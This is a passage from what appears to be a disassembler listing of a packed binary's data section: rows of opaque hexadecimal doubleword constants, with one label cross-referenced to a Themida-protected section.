		dd 1E3D7B52h, 0A68ACE9h, 146FD70Eh, 3801F91h, 0C7F12179h
		dd 0AC2B0004h, 0BCAA38A3h, 0F31E4B20h, 2A4099EDh, 23DB61DDh
		dd 740E027Bh, 0B876D2A6h, 47226F40h, 0D0206C07h, 0EC098B2h
		dd 0A6FF69Fh, 0EC4C8AA2h, 9BF15820h, 8458E0h, 80E0F338h
		dd 2B063FB6h, 0D9881A00h, 0BD218513h, 908A0AB7h, 0CE39368h
		dd 0DE494F25h, 4A8CB800h, 0CE71D32Ch, 33834872h, 0CCABAF01h
		dd 816EECE1h, 3398F6E8h, 0A3D0D813h, 2D90E3h, 58F29E46h
		dd 0D12A1C25h, 0E63B7F19h, 0B2C8A658h, 321407FDh, 90602871h
		dd 2A88E913h, 10FF58h, 88316AFh, 0A01B73D3h, 1F23A4h, 47AC2A21h
		dd 96A93B1h, 0FF2B1203h, 0A08AA988h, 3F721808h,	0AD867C34h
		dd 0B945BBDAh, 0D0C11700h, 0DFBC1804h, 4AEC15FEh, 3AD4800Eh
		dd 46D68905h, 5C806891h, 0A8191630h, 909830h, 5B15A9Eh
		dd 0DAD5330Bh, 0BAACACA0h, 592F0800h, 0A1EB1A94h, 176A0147h
		dd 0E2A63E43h, 5D98D09Bh, 18B6AB00h, 91CACD44h,	848D00A1h
		dd 0CCAC8306h, 6DF8BA0Fh, 158B0A0Ah, 0F0128070h, 59275D02h
		dd 10209638h, 0C0626E3Bh, 7EC84B25h, 58CB641Bh,	96C2C020h
		dd 0AE001813h, 3D9E47ABh, 90E2213Fh, 0A42E07D1h, 0C041270Ch
		dd 8B1CC082h, 8E322A1Fh, 0D402DF80h, 1C62BD9h, 0AF74F9D8h
		dd 41E1B6F0h, 0C05F9EC8h, 0FC07A1FAh, 1EAE3F5Ch, 0CF8A5363h
		dd 7B5DA680h, 149200D8h, 6F404741h, 38C09A9Ch, 0DD1FF890h
		dd 0E50D0070h, 0FF0471CBh, 3B4C25F3h, 0B5850CAFh, 3165C64h
		dd 31CA847Bh, 0D9A0812Dh, 926B2A5h, 101F4B2Eh, 3BF8F82Fh
		dd 7080E6C6h, 0E029F023h, 66009F84h, 0C1E996B5h, 32D03Ah
		dd 0AAB372D6h, 3145CB19h, 0D8BDFC00h, 956C2D8Bh, 0F7FF0043h
		dd 830A8085h, 59EA7867h, 8CFBD600h, 0CDB5E189h,	848A0079h
		dd 3A2C7C6h, 40C14E19h,	41CF9FDh, 71543FCh, 0EDFB41Dh
		dd 80A3B7D3h, 0BFA53C92h, 93422A03h, 0B47A919h,	0B04CF179h
		dd 57E0820Ch, 0F82EC40h, 5FC98FB2h, 0B9E89360h,	0A10069AAh
		dd 0B0974F31h, 0F00942h, 37028C7Eh, 14754334h, 6700F3F0h
		dd 0E2402AEFh, 38B7E4C5h, 92037D8Eh, 0F8E35028h, 9BFB6800h
		dd 0B111DEAh, 0C34F00AFh, 4957DF04h, 0C801E801h, 4CE976DDh
		dd 0A6833EEBh, 6ADBB008h, 9A842EF8h, 0C1386375h, 6F300789h
		dd 28203C7Bh, 297F5Fh, 0D71F4C03h, 4A5B6DADh, 9532FF38h
		dd 0B004FA16h, 0F1E887h, 0B5F7BACEh, 3D685871h,	0C98E2D00h
		dd 87DB7BDAh, 0F5210049h, 1D4B4051h, 80099F9h, 59DC0C5h
		dd 60027DBFh, 5FB65178h, 0E10126D2h, 0D9344EE3h, 3DD092FBh
		dd 3D32EEF7h, 47A88433h, 95701FF5h, 0E09ECF3Ch,	0E18BA120h
		dd 6A00A551h, 0D8A41634h, 71D3D01Eh, 0C475000Eh, 0BBE84F36h
		dd 160025E6h, 0FF0E3DAh, 30917A4h, 91A60449h, 0D9004677h
		dd 70D8E4D1h, 0EC904Bh,	5EED44CBh, 8FAD4FBFh, 0B8E2DC00h
		dd 0C2D039Dh, 0E82FE82Bh, 0FE2C026Fh, 85B92636h, 0D9023480h
		dd 0BF7AA11Bh, 7D105042h, 666805E7h, 0C0FB5E1Eh, 0D49C083Bh
		dd 353C831Dh, 867B9D06h, 0D6020029h, 8F46D244h,	570073D0h
		dd 7639BBF2h, 49E219h, 0F97A3C0Bh, 0AE0152BFh, 4A9840FFh
		dd 0B21E57AAh, 6100DD19h, 5E25A3D2h, 51CF0030h,	4FCD9B11h
		dd 0A930272Ch, 0F23F68D8h, 0FF4700B1h, 6597D4CCh, 0E0019BA4h
		dd 0CB754273h, 32E8480Ah, 0A5CC00E1h, 91C3EEE3h, 47006821h
		dd 611A7362h, 1D9FD6AEh, 89BA9DBDh, 0B780E422h,	5F8B9213h
		dd 762627E2h, 6E009224h, 2FA3EC15h, 0DB98A8B9h,	3D62091Bh
		dd 10229359h, 95180767h, 125C08D1h, 0A46340B0h,	862040F8h
		dd 1D61002Eh, 30F59DCEh, 4F033EADh, 72763487h, 0E1F9C03Fh
		dd 0C528014Ah, 1ED21638h, 82F080BEh, 5AA65F7Eh,	280301C3h
		dd 3A68DACAh, 0A959F0BCh, 48482AE4h, 62DC0070h,	0D4DEB5A4h
		dd 457700FAh, 0F7757FD2h, 0A700E7AFh, 52878CDh,	1D0A48Eh
		dd 74F69D55h, 5027DE30h, 0F39118ECh, 92FA80C0h,	3DFF6A7h
		dd 875BEF73h, 876B668h,	0FAD50A00h, 0D1B7E539h,	0F8FC0337h
		dd 53696FBEh, 804E06D0h, 9D54BA00h, 0BDB54668h,	0F0A6EE20h
		dd 30935564h, 91EAB4D7h, 8C7786C6h, 0F8B04F61h,	7FB771CDh
		dd 60E3DE4h, 0FE93F00h,	2E0B7287h, 0CEAB9003h, 0E413A4h
		dd 0A3AF8668h, 0CA027330h, 40A54705h, 0D00E15CBh, 791D6012h
		dd 4E184E76h, 0F3B2E0F2h, 2013A933h, 5116B828h,	2D9D0539h
		dd 5E3B0B42h, 81AA8188h, 35CCD049h, 0B3D84024h,	78485B7h
		dd 0A40ED8DFh, 2850A477h, 0F11A000Dh, 48BBB829h, 0EE1CD4AFh
		dd 0E1C0E52Eh, 0C4E8406Eh, 0ABDE16E0h, 0DC900FD7h, 1026F023h
		dd 0BE47BD90h, 0AD642C54h, 1E4E111Ch, 6460C0F4h, 16665Dh
		dd 29C2FD1Bh, 25BF4C0Ah, 214DC000h, 0EDCD0CFEh,	4CEE4CDDh
		dd 0CC1A6F0Ah, 1304002Ch, 6439234Fh, 0AAE00186h, 1AF232C5h
		dd 74D1E80Bh, 0ECA3FE09h, 0D07C2071h, 8A83E2h, 3F6D81E3h
		dd 31EE179Dh, 5BBA5F03h, 3B3211Eh, 0E3BF0828h, 393E5C55h
		dd 0E01884B6h, 0A8D893F1h, 20C66042h, 42F58CDh,	3B622200h
		dd 95C0EB10h
		dd 1E85029Eh, 0C4162792h, 0A2E16865h, 450838C6h, 571F4600h
		dd 0DDC53E98h, 0D688A080h, 16F0040Eh, 0D024D425h, 7BD5B96Ch
		dd 2811EA00h, 758C9992h, 9E1B00A6h, 0DB66D63Bh,	0CF00C00Ah
		dd 39426E06h, 2AF50CFFh, 29B0A083h, 80DC4F74h, 4C381663h
		dd 0F2421F21h, 7F749071h, 13930032h, 0E89A3A1Eh, 4013D628h
		dd 343BB884h, 0C0C65110h, 0DF2DBC20h, 79E50CF2h, 568BDE4h
		dd 0A70030F4h, 0D6421D17h, 2A14D8h, 0E1200AADh,	0EAEAB60h
		dd 0DC22E7h, 0CA36D1C4h, 0DFCB9BAFh, 0B6744F81h, 9948F840h
		dd 0A802BDD7h, 2945CF7h, 323C68AFh, 0E0472BDCh,	0AB02880h
		dd 1BE5C1B4h, 3A666280h, 165F4700h, 68DC0324h, 4F437384h
		dd 0A480EDAAh, 0DEAA91D5h, 0B1C9E400h, 1B09288Ah, 135E206h
		dd 0E2883EC8h, 5156223Ch, 8099D2F4h, 0BA038EF1h, 1FEB3346h
		dd 81213C20h, 9EDE7E1Ah, 13B220F7h, 0EC129416h,	56041401h
		dd 7ED47364h, 414700D5h, 637A7DEDh, 0C9CF4C67h,	0C0E56F23h
		dd 0CF3F642Fh, 13BC90CAh, 60619D38h, 0EEF5466Ch, 9CB77226h
		dd 80FB23C2h, 0B8A2DC90h, 0BE721CD9h, 0F49B45A7h, 2A5580E0h
		dd 75052C0Ch, 0E9BFB9B5h, 19CBFC60h, 43F2120Ah,	0F7982C51h
		dd 502E9F00h, 7835DC63h, 23CF8BBh, 18481EC5h, 14E0762Bh
		dd 4B1B30Dh, 6D1470A4h,	0B4D2805Ch, 0B0693448h,	40C8917Ch
		dd 12B7F8A0h, 4EE0660h,	26881E34h, 1946B0Ah, 560FDAA6h
		dd 0F286270h, 892C1E2Fh, 0A1282048h, 58A4581Dh,	0F6BC04D1h
		dd 46898AAh, 43019C05h,	683ADA03h, 44207267h, 5CD3E656h
		dd 700114BCh, 6025D8C6h, 2479E947h, 4300FFE4h, 0CB3E5276h
		dd 0E5ECD26h, 0AFB98220h, 5C300012h, 0F03CD0DFh, 4D13805h
		dd 8C2FC07Eh, 0A2845C2Ch, 9E391E8Ch, 6FB00020h,	0EFFFC1CBh
		dd 9C3CE31Ah, 92149D89h, 14605549h, 4E1C412h, 0C54A2F70h
		dd 100C2F08h, 0B8C0F8A4h, 0A50D5B9Eh, 2C875E26h, 0A0A84209h
		dd 0D17AD59Ch, 3D190079h, 0AABBC5AEh, 5600E5EBh, 0A3A223D7h
		dd 5DE86EEEh, 684C4C2Bh, 105BC600h, 1F2CCD9Eh, 9D3AF000h
		dd 6B20810Ah, 0D5BB0C9Bh, 96316ED2h, 0BA415000h, 1FCB1B11h
		dd 0C68D0001h, 2CEFA11Ah, 0BF09E7B1h, 23485F5h,	19904348h
		dd 338D2018h, 4070592Eh, 8EF258h, 0C2DCACAAh, 0A83F4A44h
		dd 355F6302h, 0E08DBFAEh, 0B0BD9C70h, 98EB5444h, 217D3C43h
		dd 4F28D386h, 9BF84809h, 34F37C1Dh, 0D8687642h,	40C3C24Bh
		dd 0F6FE1FDh, 926A2F64h, 3C3B4EE1h, 0FA9C411Fh,	8C82E278h
		dd 0A4E09ECBh, 12FF666Fh, 2564903Eh, 345511F6h,	0F4E58A11h
		dd 0B8D7B380h, 9C1C8Eh,	3123D076h, 0FCDD07B5h, 0E8836418h
		dd 927A49h, 28906788h, 0FDEC0A1Ah, 9E18E9F4h, 0A61040E4h
		dd 0BC2A50CEh, 93BF4E1h, 0F6348762h, 7DDACC90h,	1FFCE054h
		dd 30F8F35Ch, 5B583035h, 92D60079h, 7770BF09h, 0C8F836EBh
		dd 76656E00h, 9932C1AFh, 6ACA002Bh, 4E25026Dh, 11C02996h
		dd 0DCF8D0F5h, 0EF4700C6h, 0BF782067h, 0BD585730h, 20B12900h
		dd 39AD0E81h, 3198EFC8h, 80907893h, 6F14C652h, 0F1366558h
		dd 0B0F01420h, 58E80CD2h, 3208D369h, 830FB56h, 0C0F0AFF9h
		dd 0F6198150h, 66A4B805h, 4C6698F7h, 46587170h,	94B007C8h
		dd 77D3F615h, 0C93CA410h, 7BEDB310h, 533010CAh,	18C6EC89h
		dd 1D3E0070h, 0A20478F6h, 0B2B1803h, 89429C02h,	66D03894h
		dd 0AF7898C5h, 3018682Ah, 0AFF8701Fh, 0A92830AEh, 627464A2h
		dd 1073CCA0h, 8D0118A5h, 8CAA3F97h, 0E2F02882h,	44B8C6D0h
		dd 567AB566h, 2C41A62Ah, 1F325002h, 0C0CDC748h,	0C11A8755h
		dd 7FCB5898h, 60B44BC5h, 98AC4F70h, 0B024A847h,	3A70051h
		dd 481A8378h, 1F04AF27h, 7EB7D8F6h, 48287084h, 162D292Eh
		dd 91100024h, 599803A3h, 248133Fh, 18F7619Fh, 84808E75h
		dd 1C836D7Dh, 0D2328158h, 0A0985822h, 58EBC2Fh,	3A12B70h
		dd 0A64428F8h, 68A1523h, 0C865AED0h, 0E78CCE50h, 0A7087763h
		dd 7890019Dh, 0B803A04Bh, 38B08CE8h, 58602Eh, 4641079h
		dd 0E4659176h, 0C9D2831Eh, 38730141h, 0B4C48255h, 48EF001Ah
		dd 0FCCF604Ch, 0A0003ADh, 508E7DF3h, 3C4657Bh, 0A4C82529h
		dd 64C09F6Bh, 831B93CAh, 0E7581524h, 2189D86h, 4C9DD0Dh
		dd 30907FCDh, 94E86DB6h, 7EFF7420h, 0EE7E0817h,	0F901CCB0h
		dd 0B2E48396h, 11A40887h, 0B1808F97h, 0CC246588h, 7F587F56h
		dd 28765129h, 89D14E00h, 0D1CC4466h, 88D87490h,	8E214B9Ch
		dd 0FFAE80F0h, 4404A5A3h, 94F7B814h, 3EA2A738h,	0C50E3092h
		dd 0EE965605h, 18207046h, 304D5DAAh, 671190B3h,	0EB14E8C8h
		dd 14ACF042h, 29C87E74h, 968034B9h, 3320544Eh, 0EE7D053Bh
		dd 2C862B05h, 0F00C06A8h, 0F9108060h, 862807C0h, 4235C524h
		dd 18986944h, 5D0C84E2h, 0F08C0BDFh, 652607A4h,	4A271504h
		dd 6641E018h, 89C187DEh, 86E5130Eh, 3F30585Ch, 0EB00923Ah
		dd 0BB6E7DFCh, 0C4238754h, 197781CCh, 8D0D4066h, 2802CE80h
		dd 33DC3C1Dh, 0F7A93039h, 57AB2E50h, 0F364870Eh, 42C9250h
		dd 965D0A3Dh, 8416C4h, 0A5A0BC8Eh, 0D70365E4h, 17272484h
		dd 47DFAB64h, 3026008h,	0F92201C0h, 9E5AAC00h, 62E601ADh
		dd 0B3666B99h, 4490EF46h, 600AB16h, 35086D0Dh, 7CBA57h
		dd 2B34F580h, 0C3318BCFh, 33384C02h, 981FA6ABh,	1C03AE14h
		dd 40EB45DEh, 2AC7ECC3h, 3D5266ABh, 943C018h, 80FED5EAh
		dd 0F233468Ch, 0A0ED904Ah, 48C482C6h, 1C433BAEh, 0B62CFD58h
		dd 2C3830FEh, 77054459h, 0AB315706h, 0A14E1870h, 0BB98A3h
		dd 8ACCC336h, 0D826AB29h, 2146952h, 0A5E779BFh,	916C0111h
		dd 0D6104868h, 1B1CB10Ch, 30C78E0h, 264AEA1Fh, 0B842E4CDh
		dd 40009D9Ch, 0D34D511Fh, 23AC02C3h, 0C8649BFh,	3A384D38h
		dd 0B0D40318h, 5028D124h, 0D01C90C0h, 7450D960h, 98A25BB0h
		dd 0A3B0283Bh, 2C283D5Ch, 0F900AC75h, 5D464A1Eh, 3C26180Fh
		dd 60AE2F2h, 0A9C47FEh,	0AFC17CFh, 708C10CBh, 79183DBCh
		dd 2C78C7C5h, 6C6A1EABh, 31F4B9C6h, 8640C466h, 0D0E60025h
		dd 0F8495284h, 0CB63EACEh, 98482DF3h, 4DA00A8Ah, 0FAC060C6h
		dd 54941511h, 4854C4E2h, 2824AD02h, 0B8502358h,	78BF1876h
		dd 3B0C30EEh, 4640AA01h, 0F639D505h, 15013058h,	905C24FAh
		dd 0C2DFAC0Eh, 2B4F59EFh, 0AAFCB962h, 63F6FB60h, 0ED023390h
		dd 2A8C5ABBh, 346840F9h, 4659053Bh, 706C64E6h, 2D192E74h
		dd 4C806279h, 317D3B46h, 18B46883h, 80C1FE6h, 50CAD286h
		dd 0AA9D00EDh, 57B61C6h, 80781DE6h, 0BF02061Fh,	5540A600h
		dd 37EC08h, 902C7076h, 7E2659E7h, 0C6ABF806h, 31202A56h
		dd 9B10C18Bh, 1FE441CBh, 0B7609877h, 6918608h, 0A62C5B11h
		dd 0EB018813h, 0B526193Dh, 0AC4B6C68h, 78FD4F0Fh, 3822C629h
		dd 948528BFh, 95900EEFh, 0D90054AFh, 66181C34h,	9EB01E6Eh
		dd 14A69870h, 0EC701AFBh, 0CC9670A2h, 0FBB064F8h, 19543649h
		dd 2C5026EAh, 86E1C457h, 0B4F4795Bh, 0E4E60E58h, 0A0875909h
		dd 65C6410Fh, 0FB6894CCh, 476774CCh, 0E3F486C8h, 30A18C81h
		dd 819045F2h, 3462C7B2h, 0DA2C0038h, 795C242Ah,	49F98700h
		dd 5D398129h, 0E8589C21h, 83865900h, 4DAC099Eh,	39C70C92h
		dd 3782F297h, 8AEB6C49h, 94FFF9C8h, 90703Dh, 0F652D518h
		dd 0F8DFD010h, 0A03DE6B5h, 0E83E29E4h, 2D2007A6h, 1060995Ch
		dd 0EA038C0Ah, 0C2AC5B0Ah
		dd 590F8821h, 6F1D1D85h, 616B6070h, 0CF4C300Ah,	9FA16C30h
		dd 49AC340Eh, 40EC839Ch, 1C4001E3h, 386C5C44h, 0A97B2045h
		dd 0CC3BE27Ch, 0C0174B1h, 659DC1Bh, 0E88CD5C8h,	86058C4h
		dd 0A41908C3h, 6E183005h, 0B73BE628h, 0C2C108C6h, 0A161FB0h
		dd 98F8477Dh, 9058D463h, 7E9A3678h, 5D743914h, 99D70FA8h
		dd 18370C63h, 60CA6ED9h, 0E056F086h, 0C4578328h, 8CDB5E28h
		dd 0E6080661h, 9043DD21h, 60A912DAh, 0FC001E08h, 39AE10E3h
		dd 28952001h, 0EF2EEC5Bh, 0ECF86CD0h, 484C1908h, 9F1730D9h
		dd 4984638h, 0C610E660h, 480FB308h, 609871E8h, 4DC6341Fh
		dd 30016E12h, 0AA81EB66h, 904807F0h, 0CBF232D0h, 0E040BA18h
		dd 0B4925506h, 0BC627024h, 160B09h, 57F60B0h, 1D0C3C46h
		dd 20AF247Ch, 84518D0h,	127C7C66h, 89D2F9F1h, 2571C38h
		dd 40FF95E4h, 0C6F85EF4h, 280E3108h, 0B40C9A24h, 611580Fh
		dd 24E8C106h, 0E0DCD9ECh, 2FFFCFC2h, 0A0CE9326h, 2C04CB12h
		dd 608089D9h, 0A0F33C4Ch, 0A0222390h, 908485F4h, 0A1927BB4h
		dd 2420AED4h, 3086630Ch, 1000F92Ch, 861FA6Ch, 0C9E2AEACh
		dd 2C010D40h, 0BEE3092Ch, 0B00E2888h, 0CCF0F07Ah, 0BCDF9428h
		dd 0E6E03450h, 46C441FFh, 0B960206Dh, 4C082A6Fh, 0E18C4864h
		dd 2DA6F841h, 3E263020h, 4879C3CCh, 1907D077h, 4F7E91EAh
		dd 0F5317CE0h, 7F0CCDD3h, 8D127F9h, 7E993CD6h, 639A330Eh
		dd 1E9E6CC4h, 0AFE851D8h, 2978CC57h, 9C63691h, 31A81096h
		dd 3308B2C2h, 8E1889B3h, 0ED0C04D8h, 7F863CC0h,	6366F811h
		dd 0FBD095Fh, 704A1826h, 0B5290600h, 9061A607h,	4760A114h
		dd 6473C6D0h, 81B1107Fh, 214FE618h, 0BC4AFD20h,	488D2E08h
		dd 0B1EAA605h, 1045A402h, 0BC2CC518h, 6F175BD8h, 0DC28141Ah
		dd 3095B450h, 1788ADF9h, 0BF80828h, 920B1CA6h, 0A0339B30h
		dd 98CAC30h, 0CCF9127Dh, 8B90042Fh, 0C53C8025h,	64B9180Dh
		dd 98193260h, 509F5DF4h, 7D0E4802h, 14980CD9h, 0C231C81Ch
		dd 0B8EC69C0h, 8C087901h, 949F5A8h, 24B4988Ch, 3B2C1F99h
		dd 0A4836A4h, 96D089ACh, 6200499Ch, 894874AAh, 74A4C24Ch
		dd 0C87CC668h, 4BEC18C4h, 0D9B274D0h, 0DDF1DF6h, 831F07DEh
		dd 2F7F80DCh, 0C11DC552h, 810746A1h, 5FC1A072h,	1F14EF9h
		dd 1DF5D3C4h, 3D2BEA4h,	0D8146584h, 0C550FBE0h,	1E3FA11Eh
		dd 0FD05013Ah, 0FFB304F5h, 3A4C44D0h, 0EC00C193h, 1E228DF1h
		dd 6433C25Bh, 7851090Ch, 91713A20h, 0D1D0C407h,	0CD8643F5h
		dd 0CED7E4A0h, 0F60324F0h, 7161C541h, 80E1A048h, 81D80CEBh
		dd 8EB04FB3h, 1C79E3Ch,	0B0890ECBh, 0F0D0B6FEh,	0D008C0F9h
		dd 41C54C3Ah, 1E0CA63h,	0E1F00478h, 86D81A49h, 211E08DAh
		dd 373E15B8h, 19D419CEh, 373C9308h, 788308EEh, 0DAC1E1EFh
		dd 7141F886h, 563020ECh, 1584081Bh, 67823C99h, 5401C687h
		dd 3442830Fh, 0DA21100Ch, 78EC1855h, 0FE8118F5h, 68F11064h
		dd 0F8DB20C5h, 0CC5377C1h, 3E3110A4h, 74AF410Fh, 2062E186h
		dd 660FA119h, 318CC010h, 0A482DE2h, 1FC12718h, 41AC3F09h
		dd 8A1A2121h, 94F88408h, 991B0600h, 0A0C2C4E2h,	0F0138198h
		dd 5F6C00A2h, 0BEE4A1C3h, 0AC3C2284h, 3F3C7F23h, 0E3E2008Eh
		dd 3861D145h, 3AF77CDFh, 780BF5h, 0A1C2892Ah, 0A28483D3h
		dd 0F5CBC3Eh, 0A0340E21h, 0F464D829h, 723200BBh, 2E0DE863h
		dd 4615B1AEh, 108883h, 9738F19Ah, 1FAE70D1h, 1E1B8111h
		dd 6C3D204h, 0F02E7F40h, 1C82B729h, 0E742E200h,	0F3D448Bh
		dd 14BD71AEh, 4488C9Fh,	2F0534E8h, 10D9C1C6h, 4C0FD00Ah
		dd 40190B60h, 0D1A04041h, 64C2F224h, 0C031760Ah, 0D8BD8A0Ch
		dd 0F0606334h, 70A5710Eh, 2E011244h, 738F5A01h,	77FA31AEh
		dd 0ABA24880h, 0F072828Dh, 0B662990Eh, 1C0285DDh, 0D4154430h
		dd 458E3073h, 0FC4391C8h, 5357C090h, 805D0294h,	1D03A2Eh
		dd 92D2BCF1h, 0F0022928h, 406E363Fh, 0F00445F8h, 179C249Fh
		dd 2CF20958h, 5A74F003h, 58A5BFE0h, 591A28C6h, 11B66218h
		dd 46065D33h, 0D11F1218h, 8CFC0516h, 27A007A8h,	9A2241ADh
		dd 4F0030E5h, 1089D207h, 9047CD57h, 8109D41Ah, 0C14C02B9h
		dd 703D2016h, 69345089h, 0A02808F9h, 0ADBA006Fh, 0AE3C86F8h
		dd 0FB63B951h, 483BACA8h, 99063A08h, 88A316C2h,	0D0654628h
		dd 0C74BB24h, 2AF75F70h, 26A8A0D4h, 42C76B1h, 8432B7C4h
		dd 0C5C02898h, 31AF393Bh, 5F118091h, 184A7C35h,	1A12653Fh
		dd 0D738211Eh, 5BAC203Ah, 0BFC1310Ch, 241F0855h, 23942D48h
		dd 454C0220h, 0D122EF40h, 5FD0402Dh, 2C084868h,	17CED2E0h
		dd 70D03910h, 10D4CF28h, 46D7C17Fh, 96BC0218h, 409E36B1h
		dd 98189144h, 24A1487Ch, 2BCA27A0h, 3D43C810h, 61FFC44h
		dd 0DFC12579h, 7F189846h, 0F3183F9Bh, 2278C90Ch, 2872880Eh
		dd 3B1885F0h, 5151C3C0h, 0F5A300EEh, 87D32875h,	0FF7474ACh
		dd 0C671EC01h, 0E9400BE0h, 6370ABD0h, 0EABB08EBh, 8CDB1805h
		dd 66870C99h, 0D4328BC1h, 0B73A188Fh, 0BE714B03h, 0B995201Dh
		dd 10614C0Ch, 0BF043E8Ch, 0BC89CC0Fh, 0F0CE0093h, 5D80AC85h
		dd 948C980Fh, 0B2071FF3h, 9DC6864Fh, 23780B18h,	2D0348FAh
		dd 0D2C14D43h, 80F8D044h, 671810C0h, 32D7B21Dh,	3F080C35h
		dd 9D5B701h, 0F92757F0h, 1B5301h, 774D480Dh, 4CB50C58h
		dd 3850BEF8h, 420E3Eh, 48CDC5D8h, 0CCF7B678h, 0B8105178h
		dd 4A966A17h, 0E108351Bh, 509853FEh, 769708F3h,	77196278h
		dd 0A61856B9h, 0C43D70BCh, 0DE17187Ch, 7019A01Ch, 236E30C6h
		dd 30ED3128h, 8CEFEE08h, 0C037BFD8h, 48CB00F6h,	4CA93498h
		dd 0D5786B58h, 0D6CD1819h, 888C6D08h, 0B820ED98h, 0F8089560h
		dd 4B2208h, 424F6338h, 45ABEDA2h, 0F0C20200h, 0E79F119Ah
		dd 0E571019Dh, 6636EF7Ah, 0D14CE046h, 64016C80h, 7791062h
		dd 9CD0310Ch, 0E97E1BECh, 0C7CE6F0h, 790496EFh,	0B650C440h
		dd 1B03A5ECh, 0F010C9Ch, 0D5A386h, 7EAF6C38h, 582C16EFh
		dd 0E40076E8h, 0A0D996C7h, 2E138h, 2992405Bh, 32473CCBh
		dd 8CB53E20h, 361A0014h, 643C9BF4h, 2A32D247h, 98F970A6h
		dd 7B542714h, 4DCD0161h, 0FE87247h, 0E7020B9Dh,	62462684h
		dd 0AA171200h, 418C0A9Ch, 0E0188611h, 6A792788h, 474EFF00h
		dd 9C679DB2h, 8CE61CCh,	20826E2Ch, 6D60835Ch, 3696EB49h
		dd 0B608C61Ch, 0C94011B8h, 22270376h, 0D2CDAC9Ch, 9C823026h
		dd 8C8F3A3Ch, 89A4CE8h,	0EF0515ECh, 2EC0489Fh, 7A5D7173h
		dd 0EC529CA0h, 4ED06350h, 14CE52h, 0DA8BD08Ah, 3D476181h
		dd 0DE0076F2h, 8612BE2Dh, 0B8C0632Ch, 9F27E94Ch, 0CE2228ACh
		dd 0E81750D8h, 64D31FECh, 31FF019Dh, 4CEACC9Ah,	0E4004844h
		dd 3DB4AA34h, 0C0499247h, 575AED60h, 43066C86h,	0F54C9F2Eh
		dd 49F619F8h, 206860D2h, 0C2242C30h, 7D143C61h,	5AE5884h
		dd 0BF8C9AC7h, 83D46430h, 0D61820BCh, 0EDC53218h, 9880660h
		dd 2CF8EC9Fh, 2B2E4C03h, 88F1082Ch, 0B8FEAC06h,	0C5C8CC8h
		dd 0B6D5488h, 0E528D251h, 0A048881h, 0DF6C9FC8h, 0A82C6C84h
		dd 20490AF7h, 0CBC671Eh, 0AC880672h, 0A4F03228h, 0EFE31A02h
		dd 47B8FB56h, 4790050h,	6047C914h, 308C3C90h, 5FF88404h
		dd 0B20279C6h, 640057F3h, 91B6A965h, 37C0408Ch,	0CE49B397h
		dd 9F511904h, 309578C8h, 0E3807CD6h, 0C1768FF9h, 33F230C3h
		dd 660125Ah, 3A0008C6h
		dd 9C4C5615h, 67C95B9Fh, 92980265h, 6CEC81BFh, 702088BAh
		dd 9702E952h, 87463898h, 0A1BF1530h, 0A1C3CB32h, 4030B4D8h
		dd 0C50ACF6h, 64E01662h, 0C633D231h, 427BD00Fh,	51CE8068h
		dd 0CBA8B78Eh, 0C831720Ch, 6C14492Ch, 0D58BE26h, 0B40AE16h
		dd 7DE0288h, 40899D18h,	0C45A1260h, 90462CD8h, 0D0A54954h
		db 91h
byte_5320C1	db 20h,	60h, 0B2h	; DATA XREF: Themida_:0056BB4Eo
		dd 0DDD118F2h, 204ADF79h, 860F8085h, 9D58C606h,	0BD521460h
		dd 0DA01494h, 0FB2A59C2h, 5F65CCD0h, 7860AC50h,	203F2889h
		dd 920ECCEEh, 0E39F98B5h, 0D89D5FC2h, 998680B0h, 85E660A0h
		dd 61C2C0EFh, 82C38032h, 848403D8h, 0F88766B0h,	47D26F42h
		dd 7476015Ch, 51DFBC66h, 20D830CCh, 23EDCCE8h, 113587B0h
		dd 0A5627ED2h, 0C405A7CCh, 1C841AF6h, 8F9E42Ch,	167E5544h
		dd 2A608C29h, 44ECDECCh, 28987ACBh, 94145672h, 748D0CC3h
		dd 6E364C00h, 7C4842C9h, 74831E8Bh, 60820068h, 660CBA39h
		dd 0C2CAF206h, 0F638D199h, 82CF1ECDh, 777C3A83h, 7D0FF812h
		dd 38B4000Dh, 0C17A28D5h, 88FC3D66h, 0A4613063h, 5762A16Bh
		dd 0DA436881h, 0E5ECBA24h, 99088061h, 6AC2C863h, 41EEE3CFh
		dd 2EF0C3D1h, 0AF68C0CBh, 0E382BC01h, 6A0038A6h, 0CB181DD0h
		dd 6328124Eh, 9C62C0D2h, 49A2700Ah, 4E18C8h, 1F7547CFh
		dd 5127E4Fh, 8CC3EC1Dh,	0C880FC4h, 93C018D4h, 0CD5096DAh
		dd 1968D0C4h, 6014544Ah, 13DA23D4h, 0F7087D40h,	50C5888h
		dd 0F5A02C10h, 5A44CA77h, 0CC5C0AA8h, 0C01402C9h, 68BE0422h
		dd 234800FFh, 3AE0CA7Fh, 0DAD2C06Ch, 84A0D19Dh,	7E528AE8h
		dd 0CDE98154h, 80511DECh, 28958488h, 28833C22h,	24B12565h
		dd 7BAC433Eh, 0C7F87842h, 1853D77Dh, 0C8280A36h, 70BC7EC6h
		dd 78E40CA7h, 52BE6888h, 0C78078D3h, 309BE854h,	0CC0850C2h
		dd 0F6494D3h, 0BD2C8F20h, 0A505A075h, 60ACBA7Eh, 33E06C3Ch
		dd 316220h, 0BD833448h,	841B11C2h, 5A07C5F8h, 0E9CF22CAh
		dd 0EE0A0241h, 7CE3A2E0h, 478AE54h, 8CA534B6h, 0D4E80433h
		dd 0BE425881h, 0E302CCF4h, 3314098Fh, 0DFA43EBEh, 71CA1860h
		dd 0C87B038Ah, 0CBAF821Eh, 0BD9F601Fh, 96080C1Ah, 302BEE70h
		dd 8871EE53h, 0BA482D50h, 0D6D9B028h, 8E411487h, 200D865h
		dd 533A76A1h, 10EC686h,	0C54259h, 0BAEA7FC1h, 311EFECEh
		dd 5A280FFAh, 5C191C50h, 0DA0079E3h, 85A1E6Fh, 2414C610h
		dd 8F1485E0h, 6FFB03F6h, 3A5002CDh, 4C68714h, 0A96C3CB0h
		dd 78C0F500h, 659A1E68h, 64C6196Ah, 0E9C40860h,	2F84E06Bh
		dd 0A456ED7Ch, 1CC00248h, 0D946B1h, 82FD267Ah, 192AE8FFh
		dd 4CE55C29h, 0A651AD8Fh, 703D79h, 76C79EDAh, 0BDB8FABAh
		dd 1F305956h, 309A3525h, 0D72583F1h, 7860BD76h,	208AD3A1h
		dd 1A30C967h, 0CA198888h, 7983147Ah, 2FC12C4Fh,	0DA07603Bh
		dd 1484FA03h, 2CEEF930h, 0EFFFD5C0h, 6B509450h,	0F914F6B8h
		dd 0A0A43982h, 62116B45h, 273A51B1h, 1476C25Fh,	46970C80h
